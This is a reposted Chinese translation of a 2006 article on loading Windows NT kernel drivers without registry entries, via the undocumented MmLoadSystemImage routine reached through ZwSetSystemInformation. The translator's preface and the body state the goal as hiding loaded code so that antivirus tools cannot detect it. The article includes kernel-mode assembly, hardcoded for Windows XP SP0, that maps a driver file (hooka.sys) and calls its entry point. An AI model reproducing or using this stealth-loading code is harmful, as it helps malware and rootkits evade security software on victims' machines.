您的位置:首页 > 其它

不经过注册表的情况下加载驱动

2008-04-17 19:54 134 查看
http://blog.mmbest.com/?6576
发布时间2006年10月26日 翻译发布:2006年10月29日

译者按:本文提供了一种在win NT下悄声无息的加载“驱动”的方法。这里所将的“驱动”并不是指平常的驱动,而是指将程序载入系统的内核中,采用该方式将不通过任何注册表项,因此将无法使用任何方法(包括各种杀毒软件)查出这一加载项,达到隐藏自身的目的。为了翻译的方便,本人暂将里面提到的Driver直接译作“驱动”,本人E文也不是很好,之所以翻译这篇文章是想给大家提供以下参考。错译之处在所难免,希望各位兄台多多批评指正。

译文:

“怎样在不经过注册表的情况下加载驱动”,这是很多人常常问到的一个问题。现在,我们一起来分析WINDOWS操作系统是怎样加载驱动的,既而找到一种实现加载驱动而不通过注册表的办法。
我们必须注意到即使我们在对系统内核进行溢出的过程中,你仍然无法让其加载任何驱动因为几乎所有的防毒措施都会监控WINDOWS系统内核调用的API(这些API就是让系统写入特殊注册地址的)
加载驱动的第一种方法通常为:
WIN NT利用函数ZwLoadDriver实现加载驱动。
它的描述如下:

NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);

驱动服务名称:指定一个Unicode字符串以区分驱动的注册键值,/Registry/Machine/System/CurrentControlSet/Services/DriverName,DriverName就是该驱动的名称。

第二种方法如下:

一般情况下win2000启动后会开始加载特别的驱动win2k.sys。然而它并不是以其他驱动那样调用函数ZwLoadDriver, NtLoadDriver等。
事实上它是通过内核API函数ZwSetSystemInformation载入的。
该API通常用来设置类似文件分卷等系统信息,以及加载上面提到的驱动,文件缓存等等。

该函数调用方法如下:

ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
//识别操作指令
IN PVOID SystemInformation, //识别操作数
IN ULONG SystemInformationLength ) //识别数据长度

其内部调用方法如下:

Switch (SystemInformationClass)
Case 0:

Case 1:
.
.
.
Case 5: ;this actually extends the system service descrīptor table
.
.
.
MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,imagehandle,baseaddress);

call entrypoint(driverobject,NULL) ;

break ;
case 6:
.
.
.
.
.

上述的两种方法是我们现在已知的两种加载驱动的方式。

下面是第三种方式(针对该方法目前没有防毒措施对其进行监控因此它将是安全的)

像上面所讲的那样,ZwSetSystemInfomation加载镜像函数从而将驱动载入内存然后调用它的入口点。

现在我们将具体地分析MmLoadSystemImage函数的参数。

MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING prefix optional,UNICODE STRING basename optional,
ULONG unknown=0,PVOID imagehandle,PVOID baseaddress);

ImagePath:windows下的路径
prefix :用在载入驱动的路径名前
basename:系统在加载组件后显示的名称
unknown:未知
*imagehandle:段指针(这是已经被提交的)
*baseaddress:镜像载入内核内存后的地址

该函数实际上就是扮演着加载镜像入驱动,解决导入等的一些问题的角色。

在对windows平台下进行调试的过程中,你可以找出使用d MmLoadSystemImage字段函数的地址。

注意:MmLoadSystemimage在将镜像载入内存后会继续内部调用和检查镜像,所以我们必须保证检查后的结果是正确的。这个过程由MiCheckSystemImage实现。实现导入工作以及加载附属的则是依靠函数MiResolveImageReferences来完成。

函数MmloadSystemimage按照如下流程工作:

1)扫描存在的组件清单以确保它已经被载入
2) 如果镜像已经存在,则返回错误,提示镜像已经存在
3)尝试使用函数Zwopenfile打开文件,如果文件不能被打开,则返回错误代码
4)计算镜像的检查结果并将其与储存在头文件里的结果进行比较
5)如果不相符则返回错误
6)使用函数Zwcreatesection建立一个段然后将其作为参考
7)使用函数mMapViewInSystemSpace给其指定内核空间
8)在必要的时候使用LdrRelocateImage对镜像进行重定向
9) 调用用函数MiResolveImageReferences对镜像参考
10)为组件建立已加载组件清单
11)给其加上写保护
12) 关闭文件指针
13)返回

现在我们有了一个加载镜像的函数,但是调用驱动的入口问题却没有解决。我们可以从载入镜像后的PE头文件自身那里找到相关信息。这个方法可以用来直接在内核中加载和执行驱动,本地应用程序等。

下面给出的是内核下的汇编代码。在windowsXP SP0 英文版下测试通过。在理论上也可以在win2000,xp,2003下执行。

__asm {

;下面的代码将驱动载入内存
loaddriver:
mov dword [Stack],esp //save stack

;paramters as always are passed in reverse
push DWORD Driverbase ;存储驱动基址
push DWORD ImageHandle ;存储段指针
push dword 0
push dword 0
push dword 0
push DWORD U_STRINGloc ;指向一个unicode字串 ,包括将要加载的驱动

mov edi, 0x805c03ae ;MmLoadSystemImage 函数的地址,在Win XP SP0英文版下随着操作系统版本不同这一地址将发生变化
call edi
cmp eax,0 ;检查驱动是否成功载入内存
jne drivernotloaded ; 如果失败,则直接退出

;驱动载入后 调用其内置函数,所有参数置零
mov DWORD edi, [Driverbase]
mov DWORD ebx ,[edi + 0x3c] ;获取optional header的偏移量
mov dword ebx,[edi + ebx + 0x18 + 0x10] ; 从代码基址中获取入口地址的偏移量
add edi ,ebx ; 将基址和偏移量相加,得到入口点内存中的物理地址
push 0 ;
push 0
call edi ;call entry point (驱动入口点,驱动不同入口点将有变化)

drivernotloaded:
mov dword esp,[ Stack] ; 纠正堆栈使得可以继续执行

ret

; 下面是各种所需的代码数据

; 下面是将要加载的驱动的路径

;DosDevices@:hooka.sys length 48
db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00
db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00

;储存驱动基址
Driverbase:
dd 0
;储存段指针
ImageHandle:
dd 0;

;储存堆栈地址
Stack:
dd 0

;在内存中构建 unicode字串
struc U_STRING
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
endstruc

}

//汇编结束

注意:这些API函数并不是由windows操作系统的内核导出的,但他们确实有内核方面的用途。这些函数并没有被任何反病毒软件监控,所以它们可以用来加载驱动或者本地应用程序然后运行。

这就是我们所说的在内核模式下不通过注册表加载驱动的方式,当然,这些代码可能存在一些错误,但是目前为止还没有发现硬件上的错误
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: